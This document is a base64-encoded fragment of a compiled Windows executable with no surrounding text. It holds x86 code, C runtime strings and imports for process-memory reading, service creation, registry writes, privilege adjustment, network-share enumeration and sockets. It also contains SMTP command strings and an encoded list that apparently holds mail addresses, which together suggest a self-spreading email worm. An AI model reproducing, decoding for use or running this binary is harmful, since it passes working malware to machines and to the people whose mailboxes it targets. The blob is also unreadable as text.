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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAHDcAACg3QAAiN0AAHjdAABm3QAAUt0AAELdAAAs3QAAGN0AAALdAADm3AAA2twAANDc AACy3AAAotwAAI7cAABe3AAATNwAADbcAAAm3AAAFNwAAAbcAAD42wAA6tsAAAAAAAAk2gAA MNoAAELaAABO2gAAWtoAAG7aAAB+2gAAjNoAAKLaAACu2gAAvtoAANDaAADg2gAAENoAAADb AAAO2wAAHtsAADDbAABG2wAAWtsAAGrbAAB42wAAjtsAAKDbAAC82wAAzNsAAPrZAADk2QAA ztkAAMDZAAC02QAApNkAAJTZAACC2QAAYNgAAHTZAABm2QAAUNkAAEDZAAAu2QAAHtkAAAjZ AADs2AAA3NgAAM7YAAC62AAAptgAAJ7YAACQ2AAAgNgAAG7YAADy2gAAxt8AALjfAACo3wAA lt8AAITfAAB43wAAat8AAFzfAABO3wAAQN8AADDfAAAe3wAABN8AAOzeAAAO3gAAIt4AADTe AABC3gAATt4AAFjeAABk3gAAdN4AAITeAACQ3gAAnN4AALjeAADS3gAA1t8AAAAAAAD23QAA 4t0AANLdAAAAAAAANAAAgAMAAIB0AACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACAEAAAgAAA AAAAAAAAAAAAAAUAAAAAAAAABwAAAAkAAAAFAAAAAgAAAAIAAAACAAAAAgAAAAwAGQABAAEA AgAOAAoAHwAEAAEAAwAZAAgADwACAAIACwACAAEABgD/////T4FAAGOBQAAAAAAAAAAAAAAA AAD/////MYdAADWHQAD/////5YdAAOmHQAAGAAAGAAEAABAAAwYABgIQBEVFRQUFBQUFNTAA UAAAAAAgKDhQWAcIADcwMFdQBwAAICAIAAAAAAhgaGBgYGAAAHBweHh4eAgHCAAABwAICAgA AAgACAAHCAAAACgAbgB1AGwAbAApAAAAAAAobnVsbCkAAHJ1bnRpbWUgZXJyb3IgAAANCgAA VExPU1MgZXJyb3INCgAAAFNJTkcgZXJyb3INCgAAAABET01BSU4gZXJyb3INCgAAUjYwMjgN Ci0gdW5hYmxlIHRvIGluaXRpYWxpemUgaGVhcA0KAAAAAFI2MDI3DQotIG5vdCBlbm91Z2gg c3BhY2UgZm9yIGxvd2lvIGluaXRpYWxpemF0aW9uDQoAAAAAUjYwMjYNCi0gbm90IGVub3Vn aCBzcGFjZSBmb3Igc3RkaW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNQ0KLSBwdXJlIHZp cnR1YWwgZnVuY3Rpb24gY2FsbA0KAAAAUjYwMjQNCi0gbm90IGVub3VnaCBzcGFjZSBmb3Ig X29uZXhpdC9hdGV4aXQgdGFibGUNCgAAAABSNjAxOQ0KLSB1bmFibGUgdG8gb3BlbiBjb25z b2xlIGRldmljZQ0KAAAAAFI2MDE4DQotIHVuZXhwZWN0ZWQgaGVhcCBlcnJvcg0KAAAAAFI2 MDE3DQotIHVuZXhwZWN0ZWQgbXVsdGl0aHJlYWQgbG9jayBlcnJvcg0KAAAAAFI2MDE2DQot IG5vdCBlbm91Z2ggc3BhY2UgZm9yIHRocmVhZCBkYXRhDQoADQphYm5vcm1hbCBwcm9ncmFt IHRlcm1pbmF0aW9uDQoAAAAAUjYwMDkNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgZW52aXJv bm1lbnQNCgBSNjAwOA0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBhcmd1bWVudHMNCgAAAFI2 MDAyDQotIGZsb2F0aW5nIHBvaW50IG5vdCBsb2FkZWQNCgAAAABNaWNyb3NvZnQgVmlzdWFs IEMrKyBSdW50aW1lIExpYnJhcnkAAAAACgoAAFJ1bnRpbWUgRXJyb3IhCgpQcm9ncmFtOiAA AAAuLi4APHByb2dyYW0gbmFtZSB1bmtub3duPgAAAAAAAP////+Bq0AAhatAAEdldExhc3RB Y3RpdmVQb3B1cAAAR2V0QWN0aXZlV2luZG93AE1lc3NhZ2VCb3hBAHVzZXIzMi5kbGwAAODW AAAAAAAAAAAAANzbAABk0AAAfNYAAAAAAAAAAAAAuN0AAADQAAA02AAAAAAAAAAAAADG3QAA uNEAACTYAAAAAAAAAAAAAAbeAACo0QAAAAAAAAAAAAAAAAAAAAAAAAAAAABw3AAAoN0AAIjd AAB43QAAZt0AAFLdAABC3QAALN0AABjdAAAC3QAA5twAANrcAADQ3AAAstwAAKLcAACO3AAA XtwAAEzcAAA23AAAJtwAABTcAAAG3AAA+NsAAOrbAAAAAAAAJNoAADDaAABC2gAATtoAAFra AABu2gAAftoAAIzaAACi2gAArtoAAL7aAADQ2gAA4NoAABDaAAAA2wAADtsAAB7bAAAw2wAA RtsAAFrbAABq2wAAeNsAAI7bAACg2wAAvNsAAMzbAAD62QAA5NkAAM7ZAADA2QAAtNkAAKTZ AACU2QAAgtkAAGDYAAB02QAAZtkAAFDZAABA2QAALtkAAB7ZAAAI2QAA7NgAANzYAADO2AAA utgAAKbYAACe2AAAkNgAAIDYAABu2AAA8toAAMbfAAC43wAAqN8AAJbfAACE3wAAeN8AAGrf AABc3wAATt8AAEDfAAAw3wAAHt8AAATfAADs3gAADt4AACLeAAA03gAAQt4AAE7eAABY3gAA ZN4AAHTeAACE3gAAkN4AAJzeAAC43gAA0t4AANbfAAAAAAAA9t0AAOLdAADS3QAAAAAAADQA AIADAACAdAAAgBMAAIAJAACABAAAgG8AAIBzAACAFwAAgBAAAIAAAAAAtABGcmVlTGlicmFy eQA+AUdldFByb2NBZGRyZXNzAADCAUxvYWRMaWJyYXJ5QQAAGwBDbG9zZUhhbmRsZQCWAlNs ZWVwAJ4CVGVybWluYXRlUHJvY2VzcwAAHAJSZWFkUHJvY2Vzc01lbW9yeQDvAU9wZW5Qcm9j ZXNzANkBTW9kdWxlMzJGaXJzdABMAENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdAAAJAFHZXRN b2R1bGVGaWxlTmFtZUEAAP4BUHJvY2VzczMyTmV4dAD8AVByb2Nlc3MzMkZpcnN0AADWAU1h cFZpZXdPZkZpbGUANQBDcmVhdGVGaWxlTWFwcGluZ0EAABIBR2V0RmlsZVNpemUANABDcmVh dGVGaWxlQQCwAlVubWFwVmlld09mRmlsZQAbAUdldExvY2FsVGltZQAAGgFHZXRMYXN0RXJy b3IAAMwBTG9jYWxGcmVlAMgBTG9jYWxBbGxvYwAA+ABHZXRDdXJyZW50UHJvY2Vzc0lkANIC V2lkZUNoYXJUb011bHRpQnl0ZQDkAU11bHRpQnl0ZVRvV2lkZUNoYXIAzgBHZXRDb21wdXRl ck5hbWVBAAAoAENvcHlGaWxlQQC5AUlzREJDU0xlYWRCeXRlAADfAldyaXRlRmlsZQAYAlJl YWRGaWxlAABjAUdldFRlbXBGaWxlTmFtZUEAAGUBR2V0VGVtcFBhdGhBAABXAERlbGV0ZUZp bGVBAGgCU2V0RmlsZUF0dHJpYnV0ZXNBAACQAEZpbmRDbG9zZQCdAEZpbmROZXh0RmlsZUEA lABGaW5kRmlyc3RGaWxlQQAAYQJTZXRFbmRPZkZpbGUAAGoCU2V0RmlsZVBvaW50ZXIAABQB R2V0RmlsZVRpbWUAbAJTZXRGaWxlVGltZQBtAUdldFRpY2tDb3VudAAARABDcmVhdGVQcm9j ZXNzQQAAWQFHZXRTeXN0ZW1EaXJlY3RvcnlBAPcAR2V0Q3VycmVudFByb2Nlc3MAdQFHZXRW ZXJzaW9uRXhBAHQBR2V0VmVyc2lvbgAAzgJXYWl0Rm9yU2luZ2xlT2JqZWN0AMoAR2V0Q29t bWFuZExpbmVBAIAARXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzQQAEAUdldERyaXZlVHlwZUEA SgBDcmVhdGVUaHJlYWQAAEtFUk5FTDMyLmRsbAAAWwFSZWdDbG9zZUtleQBmAVJlZ0VudW1L ZXlBAHEBUmVnT3BlbktleUEAZAFSZWdEZWxldGVWYWx1ZUEAagFSZWdFbnVtVmFsdWVBADQA Q2xvc2VTZXJ2aWNlSGFuZGxlAABMAENyZWF0ZVNlcnZpY2VBAABFAU9wZW5TQ01hbmFnZXJB AACzAVN0YXJ0U2VydmljZUN0cmxEaXNwYXRjaGVyQQCuAVNldFNlcnZpY2VTdGF0dXMAAEcB T3BlblNlcnZpY2VBAACOAVJlZ2lzdGVyU2VydmljZUN0cmxIYW5kbGVyQQCdAEZyZWVTaWQA mABFcXVhbFNpZAAAGABBbGxvY2F0ZUFuZEluaXRpYWxpemVTaWQAANAAR2V0VG9rZW5JbmZv cm1hdGlvbgBCAU9wZW5Qcm9jZXNzVG9rZW4AAFwBUmVnQ29ubmVjdFJlZ2lzdHJ5QQCyAVN0 YXJ0U2VydmljZUEAewFSZWdRdWVyeVZhbHVlRXhBAACGAVJlZ1NldFZhbHVlRXhBAABeAVJl Z0NyZWF0ZUtleUEAFwBBZGp1c3RUb2tlblByaXZpbGVnZXMA9QBMb29rdXBQcml2aWxlZ2VW YWx1ZUEAQURWQVBJMzIuZGxsAABXUzJfMzIuZGxsAAARAFdOZXRDbG9zZUVudW0AHABXTmV0 RW51bVJlc291cmNlQQBAAFdOZXRPcGVuRW51bUEATVBSLmRsbAAmAUdldE1vZHVsZUhhbmRs ZUEAAFABR2V0U3RhcnR1cEluZm9BAH0ARXhpdFByb2Nlc3MAvwBHZXRDUEluZm8AuQBHZXRB Q1AAADEBR2V0T0VNQ1AAAL8BTENNYXBTdHJpbmdBAADAAUxDTWFwU3RyaW5nVwAAnwFIZWFw RnJlZQAAmQFIZWFwQWxsb2MArQJVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAALIARnJlZUVu dmlyb25tZW50U3RyaW5nc0EAswBGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwAGAUdldEVudmly b25tZW50U3RyaW5ncwAIAUdldEVudmlyb25tZW50U3RyaW5nc1cAAG0CU2V0SGFuZGxlQ291 bnQAAFIBR2V0U3RkSGFuZGxlAAAVAUdldEZpbGVUeXBlAJ0BSGVhcERlc3Ryb3kAmwFIZWFw Q3JlYXRlAAC/AlZpcnR1YWxGcmVlAC8CUnRsVW53aW5kAFMBR2V0U3RyaW5nVHlwZUEAAFYB R2V0U3RyaW5nVHlwZVcAALsCVmlydHVhbEFsbG9jAACiAUhlYXBSZUFsbG9jAHwCU2V0U3Rk SGFuZGxlAACqAEZsdXNoRmlsZUJ1ZmZlcnMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAB7hUAAj69AAAAAAAAAAAAANLBAAAAAAAAAAAAAAAAAAAAAAAAP/UAAQAAAACAA AAAsAAAALS0AAFwAAABRVUlUDQoAAA0KLg0KAAAAREFUQSANCgBIRUxPICVzDQoAAAA+DQoA TUFJTCBGUk9NOiA8AAAAAFJDUFQgVE86PAAAACVkAAAgCQ0KAAAAAC4sKCklJEAhYH4gAC1f AAAuLgAALgAAAFwqLioAAAAAXFwAAAAAAACJFXfvMxmZeBBYuMnymQAAAoKG0kNfSlJagw8/ M1c3CycHOhcTV4JHVxcXO4MjFzMnYzoPPzc6Iy+CZwdnB4NfGw86Dz83OlNfggdTP2uDSmZG Rjo7F1OCBztTJ4MjFzMnYzoPPzc6Iy+CH0sHQyODIxczJ2M6Dz83OiMvgk9TSxcXU4NbF0sn az87OjsXU4JPBzsng0pmRkY6OxdTgk8HO1NXSzuDWxdLJ2s/Ozo7F1OCBzsTZ4NbF0snaz87 OjsXU4IzJ1NTMxeDIydTFzM6OxdTgh8nHyeDIxczJ2M6Dz83OiMvggsXU4MjFzMnYzoPPzc6 Iy+CMyczZ4NiYl8nOzoPPzeCT1c7g1sXSydrPzs6OxdTgjMnOxMHg1sXSydrPzs6OxdTgksH J08Xg18bDzoPPzc6U1+CSwcnO0sHJzs3BzuDIz87Hy8/Ox86Dz83gi8HSwczB4MjPzsfLz87 HzoPPzeCTwc3N2cPIxc7g18bDzoPPzc6U1+CGzNnXyc7E4NfGw86Dz83OlNfgk9XDy+DXxsP Og8/NzpTX4JXSzM/WxeDXxsPOg8/NzpTX4JTV1NXg2JiXyc7Og8/N4IPIxdXg0pmRkY6OxdT gmNna4NKZkZGOjsXU4JDF1ODSmZGRjo7F1OCHydLM4MXEydLFw9TRlpiOg8/N4IzJ1NTMxcP B1ODIz87Hy8/Ox86Dz83gkMHO08jVx8HOx+DDyMnOxdPFzoPPzeCQydDUyeDSkYPOzoPPzeC DxdLU0MHT0+DSkYPOzoPPzeCQz9fF0sjF0s/g0paTjo7F1OCj8teSlpmj6ODUxdLSwc6F0+C y9eLl7vPv9O/h5/Xp4NTF0tLBzoXT4KHj4e3k8uDUxdLSwc6F0+CPzM2QxdTFw8jg1MXS0sH OhdPgsu/z4e7h7e/s9O/g1MXS0sHOhdPgksHVzNPBztPFx8/WycHg1MXS0sHOhdPgiMXSzeD PzMXOg8/N4IrMzpbB2tHVxdrgwczDwc3Qz86F0+CE1sTgxNbEzYTJ09TSycLVw8nPzsXTzoP PzeCWycTFz82Dz87Tz8zB0+DUxdLSwc6F0+CF0snL4NfX1MnDy8XUzoPPzeCSwdPg0sXD2c7 F1M6Dz83gk8HMxdPg08nQxcPOg8/N4IHH0sXTweDUxdLSwc6F0+CMycTJwf/Bx8XOweDQz8P a1MHOj87F1M6QzOCLwcrB/83B0sPJzuDHz9KOkMzgmsHS2sHE4NrNxdLOg8/NzpDM4IbV0s7 FzODQz8zCz9jOkMzggcfFzsPZ4NXOycvB1NTSwdbFzM6Dz83OkMzggcvUydbRoNDPzMLP2M6 Dz83giM/MycTB2eDQz86PzsXUzpDM4IjQ08/G1ODQz8zCz9jOg8/N4InXwdPay8/g0o7OkMz gi8/SzsXM0pGg0oPPzc6QzOCNwcrP0uDQz9DOxdTOkMzgl8LJ1dLP4NfPzsTF0szBzsTTzoP OxdTOkMzgjMHT1NLB4NDPzMLP2M6Dz83OkMzghcvP1NXS4M/M09rU2c7Fy86Dz83OkMzgiMn T2tDBztKQkJCg0M/D2tTBzo/OxdTOkMzgitLTz8zU1dLgy8vJzovSwcvP186QzOCC0MrV1sX O1NXT4NDPw9rUwc6PzsXUzpDM4ILQy8/M1c3C4MvMzo/OxdTOkMzgiMXgyMXOkMzggtT/1MX D2sH/1NLaxcLJzsnB4NDPw9rUwc6PzsXUzpDM4InO1M/V0uDJztTP1dLNgsXTy8nE2c6Dz83 OkMzgksXJ08XGycXCxdLgy8HUz9fJw8XOjdTMzpDM4JfBzMPawcvQyc/U0uDQz8Pa1MHOj87 F1M6QzOCJztfL0tXL4NDPw9rUwc6PzsXUzpDM4JTV0szP1ODBzNDIwc6QzOCBzMfB/8LZ1M/ N4NDPw9rUwc6PzsXUzpDM4IHBzNTP1dLT4MfE2c7Jwc6N1MzOkMzgkNTUy8fK4NDPw9rUwc6 PzsXUzpDM4I/GxsnDxeDBydLUz9XS086L0sHLz9fOkMzgksXDxdDDysHRoNDPw9rUwc6PzsX UzpDM4ITNydTS2eDJzdDVzNPNlNLB1sXMzpLV4I3JxuDOxdTSkJCQjoPI4IfGzojB2dPg1sX SydrPzs6OxdTglsXS1s/M/8zUxODNwcnMzpLV4IvPzMXHz9bgwdPW1M6S1eCUwdTP08jB1OD NwcnMzpLV4JPL0sLH4MHT1tTOktXgic7Owc7Ty+DNwcnMzpLV4InOzsH/1s/Mx8HgwdPW1M6 S1eCHz9LE4MHT1tTOktXgic7OweDB09bUzpLV4JPW05GQkKDNwcnMzpLV4JrB1sHMydngwdP W1M6S1eCBzMXYycPV082QkaDNwcnMzpLV4IzJztPUz87gzcHJzM6S1eCBzMnDxdTV0uDJzsL P2M6S1eCNy9TJ1M/V0uDPzszJzsXOktXglsHO1M/V0uDNwcnMzpLV4IHFzdDP0snP4M3Bycz OktXgidDW1qDNwcnMzpLV4I3Byczg08/MzcHSzpLV4IHTw8XO1ODB08PFztTNlNLB1sXMzpL V4IvJ0sHgxMHOzZTP1dLOktXggdrIxMHOz9bgycLBzoLZ4KbM0M/B1tLOy+DF1c6V0KCNwdL LxdTg2sXV086S1eCBzMXY/8vFxODIz9TNwcnMzoP14I3Byczgzc/TzZTSwdbFzM6S1eCMxdT J2sngzcHJzM6S1eCEysHOzsXZ4M3ByczOktXgi8HWwczF0s2T4M3U1c2OxdTOktXggdbNwdL Uyc7gz87Myc7FzpLV4JGQwdfgzcHJzM6S1eCFzMnGxeDPzszJzsXOktXgktXT0//SkJCQoM3 ByczOktXgh8/MxP/OzeDNwcnMzpLV4IHMyc7B0M/M4M3ByczOktXgkZiZlpCRkqDNwcnMzpL V4JPF0v/MydPgzcHJzM6S1eCJzsbPw8nU2dOgzdTVzY7F1M6S1eCE/8XVx+DNwcnMzpLV4IH /xuDNwcnMzpLV4JbL0sXT1ODNwcnMzpLV4I/Mx8HCzeDNwcnMzpLV4IPSwdPZ/8HOx8XM4M3 ByczOktXgj9jBzsH/0+DNwcnMzpLV4I/Hyc7HxdLgzcHJzM6S1eCNz9Pgz87Myc7FzpLV4K3 P08vP1tTTxdbgz87Myc7FzpLV4IbFzsnY1drgyc7Cz9jOktXgk8HL1dTB4M3ByczOktXglsz BxM7Jw8vgz87Myc7FzpLV4IHT0NLJztTgzcHJzM6S1eCwwdLJ1MXU2aDPzszJzsXOktXghMH Mxdjgyc7Cz9jOktXgi9LB087PxMHS/8rPwuDNwcnMzpLV4JTNwczLz9bB4M3ByczOktXgk8X Wxc7UyNPUwdLgzcHJzM6S1eCBzsHT1MHTydnB/9LFwczJ4M3ByczOktXgrtDUycPIy8Hgyc7 Cz9jOktXgjazVwsHO2cHNoM3ByczOktXgi9LP08jB0pCQkKDNwcnMzpLV4Iv/wdLU2c/N4M3 ByczOktXgkM/QzcHTyMHgzcHJzM6S1eCWwdLZwdmgzcHJzM6S1eCMyc7V2P/L4M3ByczOktX ghsHO1M/NzYvgzcHJzM6S1eCNwdPIw8vJzsHgzNnDz9POktXgi8/UzYTB08jLweDNwcnMzpL V4IjByMHIwcjByMHgzcHJzM6S1eCLwdLS2dGgzcHJzM6S1eCGzMHWyc7gzcHJzM6S1eCT08X Ez9bgzcHJzM6S1eCUwcHMycXgzcHJzM6S1eCCzM/OxMnOy8H/ztKQkJGgzcHJzM6S1eCFwf/ TyMHQy8nO4M3ByczOktXghf/N2cHaydTP1sHgzcHJzM6S1eCU0v/PzMXDyMvB4M3ByczOktX gjMXT2cH/2szgzcHJzM6S1eCFzcXM1ODNwcnMzpLV4IXEydTFw+DFxMnUxcPNjM/U1MXSycX TzoPPzeCQzozFx8XOxNLF4MXEydTFw82Mz9TUxdLJxdPOg8/N4InOx8Hg0snOxdTOktXglMX SzcXO0pCQkaDNwcnMzpLV4ILJx9PUwdLT0+DNwcnMzpLV4IHM1MHO2eDNwcnMzpLV4ITB1sn EzMXgzcHJzM6S1eCIz8HOx8zW4MjDzc6G0NTOls7gjMXD1c/Ox+DNwcnMzpLV4I/Ox+DNwcn MzpLV4ILBz87Hz8PgzcHJzM6S1eCUztTT4MjDzc6G0NTOls7gh8nBzsfgyMPNzpbOzs6WzuC UyMHOx8zPycjDzcPgyMPNzobQ1M6WzuCOyMHUzsHN4MjDzc6G0NTOls7gi86Uz87HxeDBzND Iwc6Dz83OkMjgksHQycTOg8HSx8/gyM7Ols7OzpbO4IvIz87Mz87Hw8/gyMPNzpbOzs6WzuC Bx8nGydPI/8PP4MjDzc6Wzs7Ols7gg8/Myc7CwdbgyMPNzpbOzs6WzuCJzM3NltTH4MjDzc6 Wzs7Ols7grcnT08TJzsjWwc7gyMPNzpbOzs6WzuCJzM3OgcTNyc7gyMPNzobQ1M6WzuCTyMH Sxc7gzsHLyM/Ewc6Dz83OjdngjcHZ4M7By8jPxMHOg8/Nzo3Z4KCgoKCgoKCgoKCgoKCgoKC 